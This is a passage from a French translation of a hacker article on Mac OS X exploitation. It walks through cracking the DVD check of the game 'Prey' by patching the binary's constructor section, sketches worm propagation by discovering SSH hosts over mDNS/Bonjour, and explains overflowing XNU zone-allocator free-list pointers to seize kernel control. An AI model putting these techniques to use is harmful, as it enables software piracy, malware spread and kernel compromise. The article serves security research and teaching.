processus parent peut alors faire l'execve() pendant que le fils attend et
remet l'architecture à 0xdeadbeef.


--[ 8 - Exemple de cracking - Prey

Récemment, pendant une super longue escale au LAX airport [NDT : aéroport de
Los Angeles] (l'aéroport le plus ennuyeux dans le monde entier), j'ai
décider de passer mon temps en jouant au jeu "Prey", que j'avais installé
sur mon portable.

À mon horreur, au moment où j'essayai de lancer le jeu, j'ai reçu le
message suivant :

"Please insert the disc "Prey" or press Quit."
"Veuillez insérer le disque "Prey" ou appuyer sur Quitter."
"Bitte legen Sie "Prey" ins Laufwerk ein oder klicken Sie
auf Beenden."

Puisque je n'avais rien de mieux à faire, j'ai décider de passer un peu de
temps à supprimer ce message d'erreur. La première chose que je fut, fut de
déterminer le format objet du fichier exécutable.

-[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ file Prey
Prey: Mach-O universal binary with 2 architectures
Prey (for architecture ppc):    Mach-O executable ppc
Prey (for architecture i386):   Mach-O executable i386

L'exécutable Prey est un binaire universel contenant un binaire Mach-o pour
PowerPC et i386.

Ensuite, je lançais la commande otool -o pour déterminer si le code était
écrit en Objective-C. La sortie de cette commande montre que des segments
d'Objective-C sont présents dans le fichier.

-[nemo@largeprompt]$ otool -o Prey | head -n 5
Prey:
Objective-C segment
Module 0x27ef458
    version 6
           size 16

J'utilisais ensuite la commande "class-dump" [14] pour dumper les définitions
de classes depuis le fichier. Probablement la plus intéressante :

	@interface DOOMController (Private)
	- (void)quakeMain;
	- (BOOL)checkRegCodes;
	- (BOOL)checkOS;
	- (BOOL)checkDVD;
	@end

La plupart des jeux sous Mac OS X sont 10 ans en arrière de leurs
homologues sous Windows quand on parle de protections contre la copie.
Typiquement, les développeurs ne strippent [NDT : retirer les symboles et
autres infos lors de la compilation] pas leurs fichiers et les symboles
sont toujours présents. Grâce à ça, j'ai lancé gdb et mis un point d'arrêt
sur la fonction principale.

	(gdb) break main
	Breakpoint 1 at 0x96b64

Cependant, quand j'exécutais le fichier, le message d'erreur s'est affiché
avant d'atteindre mon point breakpoint dans le main. Ça m'a fait penser
qu'un constructeur devait être responsable de cette vérification.

Pour valider cette théorie, j'ai lancé la commande "otool -o" sur le
binaire pour lister les commandes load dans le fichier. (Le Mach-O Runtime
Document [4] explique très clairement les structures load_command).

Chaque section dans le fichier Mach-O a une valeur "flags" qui lui est
associée. Elle décrit le but de la section. Les valeurs possibles pour les
variables flags se trouvent dans le fichier : /usr/include/mach-o/loader.h.

La valeur qui représente une section de constructeur est définie comme suit
:

/* section with only function pointers for initialization*/
#define S_MOD_INIT_FUNC_POINTERS        0x9     

En regardant la sortie de "otool -o", il n'y a qu'une section avec la
valeur de flag 0x9. Cette section est montrée ci-après :

Section
  sectname __mod_init_func
   segname __DATA
      addr 0x00515cec
      size 0x00000380
    offset 5328108
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000009
 reserved1 0
 reserved2 0

Maintenant que l'adresse virtuelle de la section constructeur de cette
application est connue, j'ai simplement lancé gdb une nouvelle fois et mis
un breakpoint sur chacun des pointeurs contenus dans cette section.

(gdb) x/x 0x00515cec
0x515cec <_ZTI14idSIMD_Generic+12>:     0x028cc8db
(gdb) 
0x515cf0 <_ZTI14idSIMD_Generic+16>:     0x00495852
(gdb) 
0x515cf4 <_ZTI14idSIMD_Generic+20>:     0x0049587c
...

(gdb) break *0x028cc8db
Breakpoint 1 at 0x28cc8db
(gdb) break *0x00495852
Breakpoint 2 at 0x495852
(gdb) break *0x0049587c
Breakpoint 3 at 0x49587c
...

J'ai ensuite exécuté le programme. Comme prévu, le premier breakpoint fut
atteint avant que le message d'erreur ne soit affiché.

(gdb) r
Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey 

Breakpoint 1, 0x028cc8db in dyld_stub_log10f ()
(gdb) continue

J'ai ensuite continué l'exécution et le message d'erreur est apparu. C'est
arrivé avant que le second breakpoint ne soit atteint. Ça nous indique que
le premier pointeur dans __mod_init_func est responsable du processus de
vérification du DVD.

Pour valider ma théorie, j'ai redémarré le processus, cette fois, j'ai
supprimé les breakpoints sauf le premier.

(gdb) delete
Delete all breakpoints? (y or n) y
(gdb) break *0x028cc8db
Breakpoint 4 at 0x28cc8db

(gdb) r
Starting program: /Applications/Prey/Prey.app/Contents/MacOS/Prey 
Reading symbols for shared libraries . done

Une fois que le breakpoint est atteint, je "retourne" simplement du
constructeur, sans tester le DVD.

Breakpoint 4, 0x028cc8db in dyld_stub_log10f ()
(gdb) ret
Make selected stack frame return now? (y or n) y
#0  0x8fe0fcc4 in  _dyld__ZN16ImageLoaderMachO16doInitialization... ()
And then continue execution.

(gdb) c

Le message d'erreur n'était plus, et Prey a démarre comme si j'avais le DVD
dans le lecteur, VICTOIRE ! Après voir joué au jeu pendant 10 minutes à
courir encore et encore à travers le même couloir ennuyeux, j'ai décidé
qu'il serait plus amusant de continuer à cracker le jeu qu'à y jouer. J'ai
quitté le jeu et suis revenu dans mon shell.

Pour modifier le binaire, j'ai utilisé le HT Editor [15]. Avant de pouvoir
utiliser HTE pour modifier le fichier, je devais extraire l'architecture
appropriée à mon système depuis le binaire universel. Je l'ai fait en
lançant la commande ditto comme suit :


-[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ ditto -arch i386 Prey Prey.i386
-[nemo@fry:/Prey/Prey.app/Contents/MacOS]$ cp Prey Prey.backup
-[nemo@fry:/Applications/Prey/Prey.app/Contents/MacOS]$ cp Prey.i386 Prey

J'ai ensuite chargé le fichier dans HTE. J'ai appuyé sur F6 pour
sélectionner le mode et choisi l'option Mach-O/header. Je suis descendu
pour trouver la section __mod_init_func. La voici :

**** section 3 ****                                              
section name                                      __mod_init_func         
segment name                                      __DATA                  
virtual address                                   00515cec                
virtual size                                      00000380                
file offset                                       00514cec                
alignment                                         00000002                
relocation file offset                            00000000                
number of relocation entries                      00000000                
flags                                             00000009                
reserved1                                         00000000                
reserved2                                         00000000              

Pour éviter le premier constructeur, j'ai simplement ajouté 4 octets au
champ d'adresse virtuelle, et en ai soustrait 4 de la taille. Je l'ai fait
en appuyant sur F4 dans HTE et en tapant les valeurs. Voici ces nouvelles
valeurs :

**** section 3 ****                                             
section name                                      __mod_init_func         
segment name                                      __DATA                  
virtual address                                   00515cf0 <== += 4     
virtual size                                      0000037c <== -= 4     
file offset                                       00514cec                
alignment                                         00000002                
relocation file offset                            00000000                
number of relocation entries                      00000000                
flags                                             00000009                
reserved1                                         00000000                
reserved2                                         00000000               

J'ai ensuite sauvegardé ce nouveau binaire et l'ai exécuté, encore une
fois, le binaire a démarré gentiment sans mentionner le DVD manquant.

Finalement, j'ai refait la même chose pour le binaire PowerPC et j'ai packé
les deux ensembles dans un binaire universel en utilisant la commande lipo.

--[ 9 - Propagation passive de malware avec mDNS

Je suis sûr que vous êtes tous au courant, la seule raison du manque de
malwares sous Mac OS X est sa faible part de marché (et donc, le manque de
personnes attentionnées).

Dans cette section, je propose une manière d'y remédier. Cette méthode
utilise l'un des services par défaut qui est fournis avec Mac OS X 10.4 au
moment de la rédaction : mDNSResponder.

Le service mDNSresponder est une implémentation du protocole multicast DNS.
Ce protocole est documenté à travers quelques documents listés dans [17].
De plus, si vous êtes intéressés par le protocole, il serait judicieux de
lire la RFC [18].

Au niveau des paquets, le protocole multicast DNS est très similaire au DNS
normal. Il sert le même problème (quoi que différent) : mDNS est utilisé
pour créer un moyen pour que les hôtes d'un LAN configurent automatiquement
leur configuration réseau et commencent à communiquer sans utiliser un
serveur DHCP sur le réseau. il est aussi conçu pour rendre les services sur
le réseau navigable.

Récemment, l'implémentation de mDNS a été disponible pour une grande variété
de systèmes d'exploitation, dont Mac OS X, Vista, Linux et une variété de
périphérique matériels tel que des imprimantes. L'implémentation de mDNS
fournie dans Mac OX X est appelée "Bonjour".

Bonjour contient une API utile pour enregistrer et naviguer dans les
services publiés par mDNS. Le démon mDNSResponder est responsable de toutes
les communications réseaux via un port nommé "com.apple.mDNSResponder" qui
est rendu disponible au système pour les communications avec le démon. La
documentation de l'API pour manipuler le démon est disponible en [19].

L'outil en ligne de commande /usr/bin/mdns existe pour manipuler le démon
mDNSResponder directement [20]. Cet outil a les fonctionnalités suivantes :

-[nemo@fry:~]$ mdns
mdns -E                  (Enumerate recommended registration domains)
mdns -F                      (Enumerate recommended browsing domains)
mdns -B                 (Browse for services instances)
mdns -L              (Look up a service instance)
mdns -R     [...] (Register a service)
mdns -A                      (Test Adding/Updating/Deleting a record)
mdns -U                                  (Test updating a TXT record)
mdns -N                             (Test adding a large NULL record)
mdns -T                            (Test creating a large TXT record)
mdns -M      (Test creating a registration with multiple TXT records)
mdns -I   (Test registering and then immediately updating TXT record)

Voici un exemple montrant son utilisation pour chercher des instances de
ssh :

-[nemo@fry:~]$ mdns -B _ssh._tcp. 
Browsing for _ssh._tcp.local
Talking to DNS SD Daemon at Mach port 3843
Timestamp     A/R Flags Domain              Service Type     Instance Name
11:16:45.816  Add     1 local.              _ssh._tcp.               fry

Comme vous pouvez le voir, cette fonctionnalité serait très utile pour un
malware installé sur un nouvel hôte.

Une fois qu'un vers a compromis un nouvel hôte, il doit ensuite scanner des
nouvelles cibles à attaquer. Ce scan est une des manières les plus
habituelle pour détecter un vers sur un réseau. Dans le cas de Mac OS X, où
une grosse quantité de scan seraient requis pour trouver une seule cible,
ça serait sûrement le cas.

Nous pouvons utiliser l'API Bonjour pour attendre silencieusement qu'un
service se fasse connaître de notre code, et ensuite d'infecter l'hôte. Ça
réduira énormément le trafic réseau nécessaire à la propagation du ver.

Le fichier d'en-têtes qui contiennent les définitions des structures et
fonctions nécessaires est /usr/include/dns_sd.h. Les fonctions nécessaires
sont contenues dans libSystem et sont donc liées avec à peu près tous les
binaires du système. C'est une bonne nouvelle si vous venez d'infecter un
nouveau processus et voulez faire une recherche mDNS à partir de son espace
d'adressage.

L'API de Bonjour nous permet d'enregistrer un service, énumérer les
domaines ainsi que plein d'autres choses utiles. Cependant, je ne me
concentrerai que sur la recherche d'une instance d'un type de service
particulier dans ce papier. C'est un processus assez intuitif.

La première fonction nécessaire pour trouver une instance d'un service est
la fonction DNSServiceBrowse() (montrée ci-après).

DNSServiceErrorType DNSServiceBrowse ( 
    DNSServiceRef *sdRef, 
    DNSServiceFlags flags, 
    uint32_t interfaceIndex, 
    const char *regtype, 
    const char *domain, /* may be NULL */
    DNSServiceBrowseReply callBack, 
    void *context /* may be NULL */
);

Ses arguments sont assez auto-explicatifs. Nous passons simplement un
pointeur DNSServiceRef non initialisé, suivi d'un drapeau non utilisé.
interfaceIndex spécifie l'interface sur laquelle faire la requête. Si on
met 0, cette requête sera broadcastée sur toutes les interfaces. Le champ
regtype est utilisé pour spécifier le type de service que nous voulons
trouver. Dans notre exemple, nous chercherons ssh. On utilisera donc la
chaîne "_ssh._tcp" pour spécifier ssh via tcp. Ensuite, l'argument domain
est utilisé pour spécifier le domaine logique que nous voulons parcourir.
Si cet argument vaut NULL, les domaines par défaut sont utilisés. Enfin, un
callback doit être fournis pour indiquer quoi faire quand une instance est
trouvée. Cette fonction peut inclure notre code d'infection/propagation.

Une fois que l'appel à DNSServiceBrowse() est fait, la fonction
DNSServiceProcessResult() doit être utilisée pour commencer le processus.

Cette fonction prend simplement le sdRef, initialisé depuis le premier
appel à DNSServiceBrowse(), et appel la fonction callback quand un résultat
est reçu. Cette fonction est bloquante jusqu'à ce qu'elle ait trouvé une
instance.

Une fois qu'un service est trouvé, il doit être résolu en adresse IP et en
port pour pouvoir être infecté.

Pour le faire, la fonction DNSServiceResolve() peut être utilisée. Cette
fonction est très similaire à DNSServiceBrowse(), cependant, un callback à
DNSServiceResolveReply() est utilisé. En plus, le nom du service doit déjà
être connu. Le prototype de la fonction est le suivant :

	DNSServiceErrorType DNSServiceResolve ( 
	    DNSServiceRef *sdRef, 
	    DNSServiceFlags flags, 
	    uint32_t interfaceIndex, 
	    const char *name, 
	    const char *regtype, 
	    const char *domain, 
	    DNSServiceResolveReply callBack, 
	    void *context /* may be NULL */
	);  

Le callback de cette fonction reçoit les arguments suivants :

	DNSServiceResolveReply resolve_target(
	    DNSServiceRef sdRef,
	    DNSServiceFlags flags,
	    uint32_t interfaceIndex,
	    DNSServiceErrorType errorCode,
	    const char *fullname,
	    const char *hosttarget,
	    uint16_t port,
	    uint16_t txtLen,
	    const char *txtRecord,
	    void *context
	);

Une fois encore, nous devons appeler la fonction DNSServiceProcessResult(),
en lui passant le sdRef reçu de DNSServiceResolve pour commencer les
choses.

Une fois dans le callback, le port sur lequel tourne le service est passé
via un short [NDT : entier sur 2 octets].

Retrouver l'adresse IP est simplement une histoire d'appeler
gethostbyname() sur le paramètre histtarget.

J'ai inclus un bout de code dans l'annexe (discover.c) qui montre tout ça
clairement. Ce code peut être inclus dans un boucle pour lister les services
et les infecter.

Opensshd warez non fourni. ;-)



--[ 10 - Exploitation de Kernel Zone Allocator

Un "zone allocator" est un gestionnaire de mémoire spécialement conçu pour
allouer efficacement des zones mémoires de tailles identiques.

Dans cette section, je vais regarder comment le zone allocator de mach (le
zone allocator utilisé par le noyau XNU) fonctionne. Ensuite, je regarderai
comment un débordement dans les pages utilisées par l'allocator peut être
exploité.

Le code source du zone allocator se trouve dans le fichier
xnu/osfmk/kern/zalloc.c. 

Voici quelques uns des objets du noyau XNU qui utilisent le zone allocator
mach : la task struct, la thread struct, la pipe struct et la zone struct
elle-même.

Un liste des zones courantes du système peut être retrouvée à partir du
mode utilisateur en utilisant la fonction host__zone_info(). Mac OS X est
fourni avec un outil qui utilise cette fonctionnalité :

	/usr/bin/zprint

Cet outil affiche chacune des zones et leur taille des éléments, la taille
courante, la taille maximale, ... Voici un exemple de sortie en lançant ce
programme.

elem    cur    max    cur    max   cur alloc alloc
zone name                size   size   size  #elts  #elts inuse  size count
---------------------------------------------------------------------------
zones                    80    11K    12K    152    153    95    4K    51  
vm.objects              136  3609K  3888K  27180  29274 21116    4K    30 C
vm.object.hash.entries   20   374K   512K  19176  26214 17674    4K   204 C
...
tasks                   432    59K   432K    141   1024   113   20K    47 C
threads                 868   329K  2172K    389   2562   295   56K    66 C
...
uthreads                296   114K   740K    396   2560   296   16K    55 C
alarms                   44     3K     4K     93     93     2    4K    93 C
load_file_server         36    56K   492K   1605  13994  1605    4K   113  
mbuf                    256     0K  1024K      0   4096     0    4K    16 C
socket                  344    38K  1024K    114   3048    75   20K    59 C

Il vous fournis aussi une occasion de voir certains types d'objets qui
utilisent le zone allocator.

Avant que je montre comment exploiter un débordement dans ces zones, nous
allons d'abord regarder comment le zone allocator fonctionne.

Quand le noyau veut commencer à allouer des objets dans une zone, il
commence par appeler la fonction zinit(). Cette fonction est utilisée pour
allouer les zones qui contiendront les membres de ce type d'objet
spécifique. Les informations sur cette nouvelle zone doivent être stockées
quelque part. Pour ça, on utilise la "struct zone". Voici la définition de
cette structure :

struct zone {
        int             count;          /* Number of elements used now */
        vm_offset_t     free_elements;
        decl_mutex_data(,lock)          /* generic lock */
        vm_size_t       cur_size;       /* current memory utilization */
        vm_size_t       max_size;       /* how large can this zone grow */
        vm_size_t       elem_size;      /* size of an element */
        vm_size_t       alloc_size;     /* size used for more memory */
        unsigned int
        /* boolean_t */ exhaustible :1, /* (F) merely return if empty? */
     /* boolean_t */ collectable :1, /* (F) garbage collect empty pages */
     /* boolean_t */ expandable :1,  /* (T) expand zone (with message)? */
        /* boolean_t */ allows_foreign :1,/* (F) allow non-zalloc space */
        /* boolean_t */ doing_alloc :1, /* is zone expanding now? */
   /* boolean_t */ waiting :1,     /* is thread waiting for expansion? */
/* boolean_t */ async_pending :1,   /* asynchronous allocation pending? */
        /* boolean_t */ doing_gc :1;    /* garbage collect in progress? */
        struct zone *   next_zone;      /* Link for all-zones list */
        call_entry_data_t       call_async_alloc;  
	/* callout for asynchronous alloc */
        const char      *zone_name;     /* a name for the zone */
#if     ZONE_DEBUG
        queue_head_t    active_zones;   /* active elements */
#endif  /* ZONE_DEBUG */
};

La première chose que fait la fonction zinit() est de vérifier s'il y a une
zone existante dans laquelle stocker la nouvelle zone struct. Le pointeur
global "zone_zone" est utilisée pour ça. Si le zone allocator mach n'a pas
encore été utilisé, la fonction zget_space() est utilisée pour allouer plus
de place pour les zones de zone struct (zone_zone).

Voici le code qui effectue cette tâche :

        if (zone_zone == ZONE_NULL) {
                if (zget_space(sizeof(struct zone), (vm_offset_t *)&z)
                    != KERN_SUCCESS)
                        return(ZONE_NULL);
        } else
                z = (zone_t) zalloc(zone_zone);

Si zone_zone existe, la fonction zalloc() est utilisée pour retrouver un
élément dans la zone. Chacun des attributs de cette nouvelle zone est alors
calculé :

        z->free_elements = 0;
        z->cur_size = 0;
        z->max_size = max;
        z->elem_size = size;
        z->alloc_size = alloc;
        z->zone_name = name;
        z->count = 0;
        z->doing_alloc = FALSE;
        z->doing_gc = FALSE;
        z->exhaustible = FALSE;
        z->collectable = TRUE;
        z->allows_foreign = FALSE;
        z->expandable  = TRUE;
        z->waiting = FALSE;
        z->async_pending = FALSE;

Comme vous pouvez le voir, la liste chaînée free_element est initialisée à
0. La fonction zone_init() retourne un pointeur zone_t qui est utilisé pour
chaque allocation de nouveau objet via zalloc(). Avant de retourner, zinit
utilise la fonction zalloc_async() pour allouer et libéré un élément dans
la zone.

Maintenant que la zone est installée, les fonctions zalloc() et zfree()
sont utilisées pour allouer et libérer des éléments dans la zone. zget()
est utilisé pour effectuer une allocation non-bloquante dans une zone.

D'abord, je vais regarder la fonction zalloc(). zalloc() est en gros, un
wrapper [NDT: fonction qui appelle une autre après avoir modifié légèrement
les paramètres] au dessus de zalloc__canblock().

La première chose que zalloc_canblock() fasse est d'essayer de supprimer un
élément de la liste de zones free_elements et de l'utiliser. La macro
suivante (REMOVE_FROM_ZONE) est responsable de ça.

#define REMOVE_FROM_ZONE(zone, ret, type)                               \
MACRO_BEGIN                                                             \
        (ret) = (type) (zone)->free_elements;                           \
        if ((ret) != (type) 0) {                                        \
            if (!is_kernel_data_addr(((vm_offset_t *)(ret))[0])) {      \
                panic("A freed zone element has been modified.\n");     \
            }                                                           \
            (zone)->count++;                                            \
            (zone)->free_elements = *((vm_offset_t *)(ret));            \
        }                                                               \
MACRO_END
#else   /* MACH_ASSERT */

Comme vous pouvez le voir, cette macro retourne simplement le pointeur vers
la zone struct. Elle augmente aussi l'attribut count (le compteur) et change
l'attribut free_elements vers la zone struct du "prochain" élément libre.
Il le fait en déréférençant l'adresse de l'élément libre courant. Ça nous
montre que les 4 premiers octets d'une allocation non utilisée dans une
zone sont utilisés comme pointeur vers le prochain élément libre. Ça nous
sera très utile plus tard.

Le test is__kernel_data_addr() est utilisé pour être sûr que nous n'avons
pas altéré la liste. La définition de ce test est la suivante :

#define is_kernel_data_addr(a)                                          \
  (!(a) || ((a) >= vm_min_kernel_address && !((a) & 0x3)))

const vm_offset_t vm_min_kernel_address = VM_MIN_KERNEL_ADDRESS;
#define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000)

Comme vous pouvez le voir, il vérifie simplement que l'adresse n'est pas 0,
plus grande ou égale à 0x1000 (qui n'est pas un problème du tout) et n'est
pas alignée sur un mot mémoire. Ce test ne fait aucun problème quand on
exploite un débordement comme on le verra plus tard.

S'il n'y a pas d'éléments libres dans la zone, on vérifie l'attribut
doing_alloc de la zone.

Cet attribut est utilisé comme un verrou. Si une allocation bloquante est
effectuée, l'allocator va dormir jusqu'à ce qu'elle soit remise à 0.

Une fois que tout est bon pour allouer un élément, la fonction
kernel_memory_allocate() est utilisée pour en allouer un. L'allocation est
de taille fixe pour chaque zone. La fonction kernel_memory_allocate() est
utilisée à la base de la plupart des allocateurs présents dans le noyau
XNU. Il utilise en gros vm_page_alloc() pour allouer des pages. Une fois
que le zone allocator récupère la main, il appel zcram() pour découper la
page en éléments et les ajoutes à la liste free_elements. chaque élément
est ajouté de la même manière que le fait zfree(). Maintenant que j'ai
regardé au processus d'allocation, je vais montrer le fonctionnement de
zfree().

La fonction zfree() est utilisée pour rapatrier un élément dans la liste
free_elements de la zone. La première chose que fasse zfree() est de
s'assurer que l'élément en cours de libération a bien été alloué via
zalloc(). C'est fait en utilisant la macro from_zone_map() suivante :

#define from_zone_map(addr, size) \
        ((vm_offset_t)(addr) >= zone_map_min_address && \
	         ((vm_offset_t)(addr) + size -1) <  zone_map_max_address)

Dans le cas d'un débordement, cette vérification n'est pas particulièrement
importante, je continue donc avec la suite.

Ensuite, zfree() (si le debuggage de zone est activé) va continuer et vérifier
que l'élément ne vient d'une zone différente à celle passée en paramètre.
Si c'est le cas, un kernel panic() est lancé, nous prévenant du problème.

Ensuite, zfree() parcours entièrement la liste free_elements de la zone et
appel pmap_kernel_va(). Voici le code qui le fait :

     for (this = zone->free_elements;
	     this != 0;
	     this = * (vm_offset_t *) this)
		if (!pmap_kernel_va(this) || this == elem)
			panic("zfree");

Voici le test pmap_kernel_va() :

#define VM_MIN_KERNEL_ADDRESS ((vm_offset_t) 0x00001000)
#define pmap_kernel_va(VA)      \
        (((VA) >= VM_MIN_KERNEL_ADDRESS) && ((VA) <= vm_last_addr))

pmap_kernel_va vérifie simplement que l'adresse est plus grande ou égale à
VM_MIN_KERNEL_ADDRESS. Cette adresse est définie plus haut comme étant
0x1000, le début de la première page de mémoire noyau valide (juste après
PAGEZERO). Il vérifie ensuite si l'adresse est plus petite ou égale à
vm_last_addr. C'est défini par VM_MAX_KERNEL_ADDRESS (comme suit).

vm_last_addr = VM_MAX_KERNEL_ADDRESS;   /* Set the highest address
#define VM_MAX_KERNEL_ADDRESS        ((vm_offset_t) 0xFE7FFFFF)
#define VM_MAX_KERNEL_ADDRESS ((vm_offset_t) 0xDFFFFFFF)

En gros, ça signifie quasiment n'importe où dans l'espace d'adressage
noyau.

Une fois que ces tests sont effectués, la dernière chose que zfree() fait
est d'utiliser la macro ADD_TO_ZONE() pour rapatrier l'élément dans la
liste free_elements dans la zone struct.

Voici la macro pour le faire :

#define ADD_TO_ZONE(zone, element)                                      \
MACRO_BEGIN                                                             \
                if (zfree_clear)                                        \
                {   unsigned int i;                                     \
                    for (i=1;                                           \
                         i < zone->elem_size/sizeof(vm_offset_t) - 1;   \
                         i++)                                           \
                    ((vm_offset_t *)(element))[i] = 0xdeadbeef;         \
                }                                                       \
                ((vm_offset_t *)(element))[0] = (zone)->free_elements;  \
                (zone)->free_elements = (vm_offset_t) (element);        \
                (zone)->count--;                                        \
MACRO_END

Cette macro parcours la mémoire allouée pour l'élément en train d'être
libéré par intervalles de 4 octets. Elle écrit 0xdeadbeef partout, en
remplissant la mémoire, et nettoyant les données originales. Elle écrit
ensuite les 4 premiers octets de l'allocation, le vieux pointeur de
free_elements, de la zone struct.

Maintenant que j'ai montré brièvement comment le zone allocator fonctionne,
je vais regarder ce qui arrive en cas de débordement.

Dans le schéma suivant, vous pouvez voir un élément utilisé suivi d'un
élément libre. Le premier élément contient des données utilisées par la
structure (dans cet exemple, la structure est maquillée).

Le deuxième élément consiste en un pointeur vers l'élément libre suivi d'un
entier long 0xdeadbeef répété pour remplir la structure. Les éléments
utilisés et libres ont tous la même taille.

mémoire basse  (0x00000000)
----( Élément qui sera débordé )------
  00 00 00 01
  22 22 22 22
  33 33 33 33
  00 00 00 00 
  00 00 00 00 
  00 00 00 00 
  00 00 00 00 
-----------( Élément libre )----------
[ ff fc 7c 7d ]	<== Pointeur vers le prochain élément
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
_____________________________________
mémoire haute (0xffffffff)

Dans le cas d'un débordement d'un tableau dans la première structure (dans
notre cas, avec un A majuscule [0x41]), il est possible d'écraser le
pointeur "next" de l'élément libre qui suit. C'est montré ci-après :
 
mémoire basse  (0x00000000)
----( Élément qui sera débordé )------
  00 00 00 01
  22 22 22 22
  33 33 33 33
  41 41 41 41 <== le débordement commence ici
  41 41 41 41 
  41 41 41 41 
  41 41 41 41 
-----------( Élément libre )----------
[ 41 41 41 41 ]	<== il déborde jusqu'au pointeur
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
  ef be ad de
_____________________________________
mémoire haute (0xffffffff)

Dans ce cas, quand la macro REMOVE_FROM_ZONE() sera utilisée par zalloc(),
l'adresse contrôlée par l'utilisateur 0x41414141 sera le nouveau pointeur
de la liste free_elements, et donc, utilisée par la prochaine allocation de
ce type d'élément.

Si cette adresse est correctement positionnée, il serait possible d'avoir
un écrasement contrôlé par l'utilisateur d'un pointeur utile dans l'espace
noyau et donc d'acquérir le contrôle de l'exécution.

À cause des vérifications effectuée par zfree(), il est recommandé de faire
tout ce qu'on peut pour éviter que cet élément soit passé à zfree().
Puisque ça finirait par un kernel panic().

--[ 11 - Conclusion

Heureusement, si vous vous êtes embêtés à lire jusqu'ici, vous avez du
apprendre quelques trucs utiles. Sinon, je m'excuse.

Si vous prolongez ces idées plus loin que je ne l'ai fait, ou si vous
connaissez une meilleure méthode pour faire quoi que ce soit d'exposé dans
ce papier, j'apprécierais que vous m'envoyiez un mail pour me le faire
savoir à l'adresse suivante : nemo@felinemenace.org. Pour les insultes :
mercy@felinemenace.org, merci ;)

Maintenant, les remerciements. Un énorme merci à ma fiancée extraordinaire
pif, pour son amour et son soutien pendant que j'écrivais tout ceci. Merci
à bk pour toute son aide et les longues conversations sur XNU. Merci à tout
le monde à felinemenace pour leur support, le code et les moments de fun.
Un gros merci aussi à mon ordinateur de ne pas avoir kernel panic()é une
troisième fois quand j'ai sauvegardé ce papier. Je pense que si il avait
écrit des octets aléatoires dans ce papier une troisième fois, je n'aurais
pas eu l'endurance de le réécrire (encore).

Enfin, ce papier ne serait pas complet sans un autre mauvais jeu de mots
Star Wars pour aller avec le titre, alors allons-y ...

Que le fork() soit avec root...

--[ 12 - Références

[1] b-r00t's Smashing the Mac for Fun & Profit
	http://www.milw0rm.com/papers/44  
[2] Mac OS X PPC Shellcode Tricks -
	http://www.uninformed.org/?v=1&a=1&t=pdf
[3] Linux on-the-fly kernel patching without LKM
	http://www.phrack.org/archives/58/p58-0x07
[4] Mach-O Runtime 
	http://developer.apple.com/documentation/DeveloperTools/ ...
	Conceptual/MachORuntime/MachORuntime.pdf
[5] Understanding windows shellcode
	http://www.hick.org/code/skape/papers/win32-shellcode.pdf
[6] Smashing The Kernel Stack For Fun And Profit
	http://www.phrack.org/archives/60/p60-0x06.txt
	http://arsouyes.org/info/phrack60/phrack60_0x06.txt
[7] Ilja's blackhat talk - 
	http://www.blackhat.com/presentations/bh-europe-05/ ...
	BH_EU_05-Klein_Sprundel.pdf
[8] Mac OS X PPC Shellcode Tricks -
	http://www.uninformed.org/?v=1&a=1&t=txt
[9] Smashing the Stack for Fun and Profit - 
	http://www.phrack.org/archives/49/P49-14
	http://arsouyes.org/info/phrack49/phrack49_0x0e%5BSlasH%5D.txt
[10] Radical Environmentalists by Netric -
	http://packetstormsecurity.org/groups/netric/envpaper.pdf
[11] Non eXecutable Stack Lovin on OSX86 -
	http://www.digitalmunition.com/NonExecutableLovin.txt
[12] Mach-O Infection -
	http://felinemenace.org/~nemo/slides/mach-o_infection.ppt
[13] Infecting Mach-O Fies
	http://vx.netlux.org/lib/vrg01.html
[14] class-dump
	http://www.codethecode.com/Projects/class-dump/
[15] HTE -
	http://hte.sourceforge.net
[16] Architecture Spanning Shellcode -
	http://www.phrack.org/archives/57/p57-0x17
[17] Multicast DNS -
	http://www.multicastdns.org/
[18] mDNS RFC	-
	http://files.dns-sd.org/draft-cheshire-dnsext-nbp.txt
[19] mDNS API - 
	http://developer.apple.com/documentation/Networking/
	Conceptual/dns_discovery_api/index.html
[20] mdns command line utility -
	http://developer.apple.com/documentation/Darwin/
	Reference/Manpages/man1/mDNS.1.html
[21] KUNC Reference -
	http://developer.apple.com/documentation/DeviceDrivers/
	Conceptual/WritingDeviceDriver/KernelUserNotification

--[ 13 - Annexes - Code

Extraire ce code avec uuencore.
 (voir dans la version txt).

le 26/01/2009 par nemo [trad TboWan]